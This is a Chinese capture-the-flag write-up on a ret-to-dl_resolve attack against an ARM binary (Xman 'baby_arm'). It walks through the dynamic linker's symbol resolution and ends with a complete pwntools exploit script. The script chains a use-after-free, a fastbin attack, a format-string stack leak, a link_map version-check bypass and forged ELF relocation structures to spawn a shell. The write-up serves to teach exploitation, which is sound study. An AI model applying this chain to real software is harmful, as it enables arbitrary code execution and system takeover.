記一次arm架構的ret to dl_resolve利用
前記
想試試這個利用方式是因為今年Xman冬令營選拔賽上的一道題目baby_arm
? arm checksec pwn
[*] '/home/mask/Desktop/xman/arm/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)
題目本身很簡單,只是一個free后未置0的UAF
int del_note(){ int result; // r0
int v1; // [sp+8h] [bp+8h]
printf("Index :");
read(0, &v1, 4u);
result = atoi((const char *)&v1); if ( result < 0 || result >= count )
{ puts("Out of bound!"); exit(0);
} if ( notelist[result] )
{ free(notelist[result]); // uaf
result = puts("Done it");
} return result;
}
fastbin attack去劫持notelist便可以任意地址讀寫了
因為這是一道arm架構的題目,其libc也是arm的libc,當時無法找到遠程libc的版本,所以沒有拿到flag,后來有另外一位師傅給了一個多平臺libc search的網站https://libc.nullbyte.cat/ ,以后遇到相應題目也能繼續做下去了
賽時有考慮過ret to dl_resolve的做法,在網上查了下也沒發現有相關的文章,當時也沒有詳細研究,這次趁著期末考前有空,仔細琢磨了一下
加載函數
先來看一下arm的程序是如何加載libc中的函數的
plt/got
就以main函數中的一個puts調用為例來分析
int __cdecl main(int argc, const char **argv, const char **envp){
... puts("Tell me your name:");
...
}
匯編層面是這樣的
.text:00010A5A LDR R3, =(aTellMeYourName - 0x10A60)
.text:00010A5C ADD R3, PC ; "Tell me your name:"
.text:00010A5E MOV r0, R3 ; s
.text:00010A60 BLX puts
↓
.plt:00010560 puts ; CODE XREF: add_note+22↓p
.plt:00010560 ; add_note+84↓p ...
.plt:00010560 ADR r12, 0x10568
.plt:00010564 ADD r12, r12, #0x10000
.plt:00010568 LDR PC, [r12,#(puts_ptr - 0x20568)]! ; __imp_puts
↓
.plt:00010510 ; Segment type: Pure code
.plt:00010510 AREA .plt, CODE
.plt:00010510 ; ORG 0x10510
.plt:00010510 CODE32
.plt:00010510 STR LR, [SP,#-4]!
.plt:00010514 LDR LR, =_GLOBAL_OFFSET_TABLE_ ; PIC mode
.plt:00010518 NOP
.plt:0001051C LDR PC, [LR,#8]!
我們在gdb中跟進看看


這里的ldr pc,[ip, #0xab8]!(注意有一個!)的意思是ip = ip + 0xab8, pc = *ip,此時ip寄存器指向了puts@got,然后pc讀取puts@got的值,與x86架構一樣,未加載的函數其GOT表上填的都是跳去dl_resolve的函數地址,也就是PLT表頭的位置,于是程序就到了準備進入dl_resolve的地方0x10510位置處

在PLT表開頭處的幾條指令,lr寄存器指向了GOT表(在pwndbg中REGISTERS欄沒有顯示lr寄存器,不過可以用p/x $lr來查看),下一條跳轉指令pc = *(lr + 8)也就是跳去GOT表上存的一個地址,也就是_dl_runtime_resolve,注意這里的跳轉指令也帶有!,所以lr變成了GOT+8

_dl_runtime_resolve
我們先查看一下arm的_dl_runtime_resolve源碼,這是一段匯編代碼,在/sysdeps/arm/dl-trampoline.S中,只關注主要代碼
_dl_runtime_resolve:
@ we get called with
@ stack[0] contains the return address from this call
@ ip contains &GOT[n+3] (pointer to function)
@ lr points to &GOT[2]
@ Save arguments. We save r4 to realign the stack.
push {r0-r4}
@ get pointer to linker struct
ldr r0, [lr, #-4]
@ prepare to call _dl_fixup()
@ change &GOT[n+3] into 8*n NOTE: reloc are 8 bytes each
sub r1, ip, lr
sub r1, r1, #4
add r1, r1, r1
@ call fixup routine
bl _dl_fixup
@ save the return
mov ip, r0
@ get arguments and return address back. We restore r4
@ only to realign the stack.
pop {r0-r4,lr}
@ jump to the newly found address
BX(ip)
簡單來說,進入_dl_runtime_resolve后,流程如下
- 先保存前五個寄存器(調用函數時傳遞的參數)
- 然后通過
lr寄存器(此時是指向GOT+8)取得link_map的地址(保存在GOT+4),作為參數1,存在r0 - 計算函數的
reloc_arg(可以在_dl_fixup的源碼中查看),reloc_arg = (ip - lr -4) / 2 - 調用
_dl_fixup函數 - 從函數中返回加載成功的函數地址(libc中),保存到
ip - 恢復寄存器(函數參數)
- 跳轉到
ip,即調用加載成功的函數 
link_map是在libc中的,不過地址存在了程序中的GOT段,主要關注這個reloc_arg,那三行有關r1的指令,實現的是r1 = 2 *(puts@got - (GOT +8) - 4),值就是0x28
至此,就準備進入_dl_fixup
_dl_fixup
這個函數是在ld.so動態庫中,相應源碼在/elf/dl-runtime.c,挑出主要部分
# define reloc_offset reloc_argDL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{ const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); // 獲取程序中的 ELF Symbol Table
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); // 獲取程序中的 ELF String Table
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 利用參數 reloc_offset(reloc_arg) 獲取函數的 Elf32_Rel 結構體(程序中的 ELF JMPREL Relocation Table)
// 查表方式是 reloc = ELF JMPREL Relocation Table Base + reloc_offset
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 利用 reloc->r_info 獲取函數的 Elf32_Sym 結構體 (程序中的 ELF Symbol Table)
// 查表方式是 r_info 的高位字節代表了函數的 ELF32_Sym 結構體在 ELF Symbol Table 中的偏移(其實這里可以說是索引,這里記錄是 0x10 大小作為一個單位)
// 也就是說 sym = ELF Symbol Table Base + (r_info >> 8) * 0x10
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 這里會檢查 reloc->r_info 的低位字節是否為 0x16 (針對arm的)
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{ const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) // 針對這個程序的利用,這里需要bypass,下文會講
{ const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx]; if (version->hash == 0)
version = NULL;
}
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); // 根據 strtab + sym->st_name 處的字符串,通過 _dl_lookup_symbol_x 去加載函數,返回值是 libc的基址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0); // 得到函數真實地址
} return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); // 修改函數 GOT 表,返回真實地址}
跟著流程走一遍
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);// 獲取程序中的 ELF Symbol Tableconst char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);// 獲取程序中的 ELF String Table
這里從link_map中獲取symtab與strtab兩個表,這兩個表是存在ELF文件上的


可以發現這個ELF中調用的函數都在這里羅列了出來,程序正是利用這些表中的結構體去加載函數的,這也是ret to dl_resolve攻擊的主要利用點
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 利用參數 reloc_offset(reloc_arg) 獲取函數的 Elf32_Rel 結構體(程序中的 ELF JMPREL Relocation Table)// 查表方式是 reloc = ELF JMPREL Relocation Table Base + reloc_offset
這一句通過傳進_dl_fixup的第二個參數,來從JMPREL中獲得將要調用的函數的Elf32_Rel結構體,ELF JMPREL Relocation Table這個表也是在ELF文件中


上面提到了,調用puts時,傳進來的值時0x28,按照宏定義運算,得到的Elf32_Rel結構體地址應為0x10494 + 0x28 = 0x104bc,得到Elf32_Rel <0x21020, 0x616> ; R_ARM_JUMP_SLOT puts這個結構,Elf32_Rel結構體定義如下
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 利用 reloc->r_info 獲取函數的 Elf32_Sym 結構體 (程序中的 ELF Symbol Table)// 查表方式是 r_info 的高位字節代表了函數的 ELF32_Sym 結構體在 ELF Symbol Table 中的偏移(其實這里可以說是索引,這里記錄是以 0x10 大小作為一個單位)// 也就是說 sym = ELF Symbol Table Base + (r_info >> 8) << 4

利用reloc來獲取函數的Elf32_Sym結構體,按照宏定義運算,得到的Elf32_Sym結構體地址應為0x10214 + (0x616 >> 8) << 4 = 0x10214 + 0x60 = 0x10274,得到Elf32_Sym ; "puts"這個結構體,Elf32_Sym結構定義如下
typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Word; typedef struct
{
Elf32_Word st_name;
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
} Elf32_Sym;
st_name是函數名相對于strtab的偏移,按照我們得到的結構體來說,這個數值為0x1a,得到的函數名字符串所在地址為0x10334 + 0x1a = 0x1034e,正好為puts
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);// 這里會檢查 reloc->r_info 的低位字節是否為 0x16 (針對arm的)
這里會對Elf32_Rel中的r_info進行一個check,x86中r_info的低位是0x7而arm中這里應為0x16
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);// 根據 strtab + sym->st_name 處的字符串,通過 _dl_lookup_symbol_x 去加載函數,返回值是 libc的基址
這一處就是按照前面準備好的各種結構體,去加載函數,返回libc基址,調用_dl_lookup_symbol_x時

注意第三個參數 &sym,這里是sym變量的地址0xf6ffed4c,放在棧上

執行完這個函數,返回的只是libc的基址,那么我們想要調用的加載的地址在哪里呢?
其實在_dl_lookup_symbol_x中把sym的st_value修改成了加載函數相對于libc基址的偏移

這里提一下,在vmmap出來的地址與真實的函數偏移基址差了0x1000,這與x86上的情況不大一樣,不知道是什么原因

value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);// 得到函數真實地址
接著就利用libc基址與函數偏移得到函數真實地址
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);// 修改函數 GOT 表,返回真實地址
加載了函數以后,再調用就直接通過GOT表找到函數真實地址了


到此位置,arm中動態加載函數的流程已經走完了,下面針對這道題目談談如何利用
利用思路
這道題本身是一道可以任意地址讀寫的題目,在假設不知道libc的情況下,使用ret to dl_resolve應該是一個很好的辦法
在以往x86上的ret to dl_resolve利用,無非是棧轉移到bss段再進行ROP,可是我沒有發現arm上有關棧轉移的操作(有些文章說arm有sp和fp寄存器,但是針對這題貌似沒有發現,可能是arm的其他類型),然后我也沒發現有棧溢出的地方
回歸到任意地址讀寫的功能上,我們可以修改函數GOT表從而達到執行任意地址代碼(地址確保是可執行的),找一下gadget

發現__libc_csu_init里的一個pop可以控制各寄存器然后跳到pc處,只要修改某個函數的GOT表為這個gadget即可
回想一下在_dl_runtime_resolve前,函數GOT表地址是存在ip寄存器的,同時lr寄存器指向GOT+8,所以我們可以利用這個gadget控制lr,ip與pc,從而可以自定義加載函數
那么問題就到了如何控制棧上對應位置進行pop,利用任意地址寫是可行的,但是我們不知道棧地址
如何來leak棧地址,我在這里取巧了,通過任意地址寫來修改puts@got為printf@plt,進而實現了格式化字符串漏洞利用,泄漏了stack,進入對棧上數據進行修改
這里要注意函數棧幀的重合,在利用時進行一次pop發現edit函數的返回地址被破壞了,于是我多進行了一次pop,避開了當前函數的棧幀,同時也控制了lr,ip與pc


剩下偽造fake_got,fake_ELF32_Rel和fake_ELF32_Sym了,還是利用任意地址寫在bss上寫下這兩個結構體

fake_got的計算方式是ELF JMPREL Relocation Table + (fake_got - (GOT + 8) - 4) * 2 = fake_ELF32_Rel,所以fake_got = (0x210b4 - 0x10494) * 2 + 0x21008 + 4 = 0x2961c
fake_ELF32_Rel->r_offset是待加載函數的GOT表,這里隨便填了一個free@got,不影響
fake_ELF32_Rel->r_info是fake_ELF32_Sym相對ELF Symbol Table的索引,再加上架構check的0x16,就是r_info = ((0x210c4 - 0x10214) >> 4) << 8 ^ 0x16 = 0x10eb16
fake_ELF32_Sym->st_name是待加載函數名相對于ELF String Table的偏移,這里調用system,寫在了bss上,于是值為st_name = 0x210bc - 0x10334 = 0x10d88
東西都準備好了,接著就ret to dl_resolve

準備進入_dl_resolve,此時r0是待調用函數的參數,IP是我們偽造的fake_got

準備進入_dl_fixup,r1是fake_ELF32_Rel的偏移

繼續執行下去,會發現一處SIGSEGV,原因是讀到了錯誤地址

看前幾條指令,可以發現bypass的地方

正好這里的r0是link_map,地址存在GOT上,只需讀出地址,修改link_map + 0xe4處為0就行了,這里的代碼對應_dl_fixup中這一段
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) // 針對這個程序的利用,這里需要bypass
{ const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; // reloc->r_offset 太大
version = &l->l_versions[ndx]; if (version->hash == 0)
version = NULL;
}
繞過這一處后,就到了_dl_lookup_symbol_x,只要這里解析成功,剩下的就完事了

利用成功

完整EXP
利用流程如下
- UAF + Fastbin Attack 控制
notelist - 修改
puts@got為printf@plt實現格式化字符串漏洞利用泄漏棧地址 - 讀取
link_map地址,并修改[ink_map + 0xe4] = 0 - 棧上布置
fake_ELF32_Rel與fake_ELF32_Sym - 修改棧上數據實現
ret to dl_resolve - Get Shell
# encoding:utf-8from pwn import *
context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']
libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6")
e = ELF("./pwn")
rlibc = ''ip = ''port = ''debug = Falsedef dbg(code=""):
global debug if debug == False: return
gdb.debug()def run(local):
global p, libc, debug if local == 1:
debug = True
# p = process(["qemu-arm", "-g", "1111", "-L", "/usr/arm-linux-gnueabihf", "./pwn"])
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./pwn"]) else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)
se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, 'x00'))
un32 = lambda x: u32(x.ljust(4, 'x00'))def add(size, c):
sla("choice:", '1')
sla(":", str(size))
sea(":", c) #sleep(0.5)def delete(idx):
sla("choice:", '2')
sla(":", str(idx)) #sleep(0.5)def show(idx):
sla("choice:", '3')
sla("Index :", str(idx))def edit(idx,c):
sla("choice:", '5')
sla(":", str(idx))
sea(":", c) #sleep(0.5)note_list = 0x21088Sym_offset = 0x10ebname_offset = 0x10d88fake_got = 0x2961cgadget = 0x10b20fake_ELF32_Rel = ""fake_ELF32_Rel += p32(e.got['free'])
fake_ELF32_Rel += p32((Sym_offset << 8) ^ 0x16)
fake_ELF32_Sym = ""fake_ELF32_Sym += p32(name_offset)
fake_ELF32_Sym += p32(0) * 2fake_ELF32_Sym += p32(0x12)
run(1)
sea(":", "Mask".ljust(0x1c, 'x00') + p32(0x31))
add(0x28, '0')
add(0x28, '1')
add(0x28, '2')
add(0x28, '3')
add(0x28, '4')
add(0x28, '5')
add(0x28, '6')
add(0x28, '%10$p;/bin/sh')
delete(2)
delete(3)
delete(2)
add(0x28, p32(0x21078 + 8))
add(0x28, '5')
add(0x28, p32(0x21078 + 8))
add(0x28, p32(note_list) + p32(e.got['puts']))# UAF + Fastbin Attack 控制notelistedit(1, p32(0x010524))
show(7)
stack = int(rn(10), 16) - 0x20# 修改puts@got為printf@plt實現格式化字符串漏洞利用泄漏棧地址edit(0, p32(e.got['free']) + p32(stack + 0x24) + p32(stack + 0x24 + 0x20) + p32(note_list + 0x10))
edit(3, p32(note_list + 0x2c) + p32(note_list + 0x3c) + p32(0x21004))
show(6)
link_map = un32(rn(4))
edit(3, p32(note_list + 0x2c) + p32(note_list + 0x3c) + p32(link_map + 0xe4))
edit(6, p32(0))# 讀取link_map地址,并修改[ink_map + 0xe4] = 0edit(4, fake_ELF32_Rel + 'system'.ljust(0x8, 'x00'))
edit(5, fake_ELF32_Sym)# 棧上布置fake_ELF32_Rel與fake_ELF32_Symedit(0, p32(gadget))
edit(1, p32(gadget) + p32(0x666) * 3)
edit(2, p32(fake_got) + p32(0x10a65) + p32(0x10510))
delete(7)# 修改棧上數據實現ret to dl_resolveshell()# Get Shell